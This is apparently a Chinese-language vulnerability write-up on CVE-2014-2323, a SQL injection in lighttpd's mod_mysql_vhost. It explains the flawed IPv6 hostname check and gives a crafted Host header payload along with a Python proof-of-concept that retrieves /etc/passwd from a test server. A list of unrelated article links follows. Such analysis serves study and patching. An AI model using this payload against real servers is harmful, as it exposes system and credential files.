[CVE-2014-2323][7.5] lighttp mod_mysql_vhost 注入漏洞
来源:互联网 发布:岛国软件免费下载 编辑:程序博客网 时间:2024/05/02 00:59
漏洞描述:request.c中request_check_hostname函数处理HTTP请求头中的主机名时,对IPV6格式的主机名检查不够严格,导致任意的不指定访问端口的IPV6主机名都能通过检查,而mod_mysql_vhost在获取各虚拟主机所处根目录时,会使用主机名作为查询参数,导致了SQL注入漏洞的存在。
41 /* IPv6 adress */ 42 if (host->ptr[0] == '[') { //使用‘[’激活IPV6地址检查 43 char *c = host->ptr + 1; 44 int colon_cnt = 0; 45 46 /* check portnumber */ 47 for (; *c && *c != ']'; c++) {//检查IPV6地址中是否包含非法字符 48 if (*c == ':') { 49 if (++colon_cnt > 7) { 50 return -1; 51 } 52 } else if (!light_isxdigit(*c) && '.' != *c) { 53 return -1; 54 } 55 } 56 57 /* missing ] */ 58 if (!*c) { 59 return -1; 60 } 61 62 /* check port */ 63 if (*(c+1) == ':') {//如果‘]’后不为':8080'这种标示访问端口的写法,直接返回0,表示主机名检查无误。 64 for (c += 2; *c; c++) { 65 if (!light_isdigit(*c)) { 66 return -1; 67 } 68 } 69 } 70 return 0; 71 }
漏洞重现:
搭建测试环境:
下载lighttpd 1.4.34或之前的版本,解压编译。(要开启mysql连结功能,lighttpd需要使用--with-mysql配置编译。)
为lighttpd开启mod_mysql_vhost模块:(mod_evhost、mod_simple_vhost、mod_mysql_vhost只能开启其中一个)
server.modules = ( "mod_mysql_vhost",# "mod_simple_vhost",# "mod_evhost",配置好mod_mysql_vhost模块参数:(官方配置文档)
mysql-vhost.db = "lighttpd" mysql-vhost.user = "lighttpd" mysql-vhost.pass = "secret" mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';" mysql-vhost.hostname = "localhost" mysql-vhost.port = 3306
重新操作步骤:
修改发送至lighttp的HTTP请求中的Host Header为类似如下的方式:
"Host": "[]' unoin select '/"
[]是为了激活request_check_hostname函数的IPV6地址检查,其后紧随我们构造的SQL注入语句。
如上地址在通过request_check_hostname函数的检查后,会被作为主机名填入SQL查询语句:
如根据之前配置参数中的
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
lighttp将生成查询语句:
SELECT docroot FROM domains WHERE domain='[]' unoin select '/';
此语句的查询结果‘/’将被用作访问页面所在的目录。
假设客户提交的请求为'GET /etc/passwd HTTP 1.1'
那么lighttp将在根目录‘/’下查找/etc/passwd文件,并将文件内容发送给客户端。
Python测试代码:
# encoding=utf8import urllibimport urllib2import cookielibimport reimport hashlibimport gzipimport StringIOimport random# ##登录页的url#baseURL = 'http://127.0.0.1/index.php'baseURL = 'http://127.0.0.1/etc/passwd'cj = cookielib.CookieJar()cookie_support = urllib2.HTTPCookieProcessor(cj)hds = {'Accept-Encoding': 'gzip,deflate,sdch',# 'Host': '[]/../../www2',# 'Host': '[]/../../../../../etc', 'Host': '[::1]\' UNION SELECT \'/',# 'Host': '[::1]\' UNION SELECT \'/usr/local/lighttpd/www2/',# 'Host': '[::1]', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' } req = urllib2.Request(url=baseURL, headers=hds)opener = urllib2.build_opener(cookie_support) response = opener.open(req)page = response.read()print page
参考资料:
1、http://www.cvedetails.com/cve/CVE-2014-2323
2、http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
3、http://redmine.lighttpd.net/projects/1/wiki/Docs_ModMySQLVhost
- [CVE-2014-2323][7.5] lighttp mod_mysql_vhost 注入漏洞
- 技术文章 |【漏洞公告】 CVE-2017-14596:Joomla! LDAP 注入漏洞
- CVE-2014-0195漏洞分析
- CVE-2015-7857 Joomla注入漏洞利用工具(Python)
- CVE-2014-6271: BASH 漏洞记录
- 破壳漏洞(CVE-2014-6271)综合分析
- CVE-2014-8610 短信重发漏洞
- CVE-2014-6271“破壳”漏洞利用过程
- 阿里云服务器漏洞phpmyadmin CVE-2016-6617 SQL注入漏洞 解决方法
- CVE漏洞知识库介绍
- Android提权漏洞CVE-2014-7920&CVE-2014-7921分析
- 基于流量的CVE-2014-0160漏洞利用检测方法
- OpenSSL TLS Hearbeat信息泄漏漏洞(CVE-2014-0160)
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Flash Player 漏洞 cve 2014 0497 测试过程
- pty/tty设备竞争条件漏洞 (CVE-2014-0196)
- 破壳漏洞(shellshock)分析CVE-2014-6271
- ZooKeeper信息泄露漏洞(CVE-2014-085)
- 专业化数据库设计
- buffer 与cache 的区别
- Android中关于Volley的使用(三)认识Volley的架构
- JavaScript 继承
- c#观察者模式
- [CVE-2014-2323][7.5] lighttp mod_mysql_vhost 注入漏洞
- jQuery选择器总结
- FineReport图表详述之图表交互功能
- 长痘痘不能吃哪些食物
- JavaScript继承详解(二)
- Android中关于Volley的使用(四)利用NetworkImageView来加载图片
- Swift基础--解析服务器Json内容
- 给定一个字符串,求出其最长的子字符串
- Android 百度地图开发 地理位置与空间坐标互编译 源码示例 ——2